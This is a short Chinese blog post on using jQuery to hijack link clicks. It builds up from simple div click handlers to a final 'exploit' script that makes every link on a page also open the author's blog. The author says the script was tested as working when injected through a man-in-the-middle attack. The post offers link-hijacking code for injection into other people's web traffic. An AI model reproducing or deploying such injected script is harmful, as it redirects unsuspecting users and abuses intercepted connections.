jquery实现点击劫持代码

一直在找一个全屏的透明图层点击弹窗代码,虽然没找到,不过有了一些意外的新发现

在浏览百度知道时,发现了jquery可以为div添加onclick事件 

代码如下:

<script type="text/javascript" src="jquery.js"></script>
<div id="one">1</div>
<div id="one">2</div>
<div id="one">3</div>
<div id="one">4</div>
<div id="one">5</div>

<script type="text/javascript">
  $(function(){
    $("div").each(function(){
      $(this).click(function(){
        alert($(this).text());
      });
    });</script>
这样每个div都可以赋予点击事件,那么,body标签呢?<a>标签呢?

我分别进行了测试 发现在webkit内核下:

<script type="text/javascript" src="jquery.js"></script>
<div id="one">1</div>
<div id="one">2</div>
<div id="one">3</div>
<div id="one">4</div>
<div id="one">5</div>
<body>aaaa</body>
<a href="http://baidu.com/">a</a>
<script type="text/javascript">
  $(function(){
    $("div").each(function(){
      $(this).click(function(){
        alert($(this).text());
      });
    });
    $("body").each(function(){
      $(this).click(function(){
        alert($(this).text());
      });
    });
    $("a").each(function(){
      $(this).click(function(){
        alert($(this).text());
      });
    });
  });
</script>

当点击body元素时,出现了网页的源代码,而点击<a>标签时,则会先弹出alert再转到链接!换句话说,成功的利用jquery劫持了链接!

参见了这篇给div加跳转的文章http://www.cdxwcx.com/faq/htmldivLink.html后,最终的exploit代码如下:

<a href="http://baidu.com/">我只是个无辜的链接</a>

<script type="text/javascript" src="http://lib.sinaapp.com/js/jquery/1.9.1/jquery-1.9.1.min.js"></script>
<script type="text/javascript">
  $(function(){
    $("a").each(function(){
      $(this).click(function(){
        window.open('http://blog.csdn.net/qq754406613');
      });
    });
  });
</script>

亲测中间人攻击时注入此代码可用

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。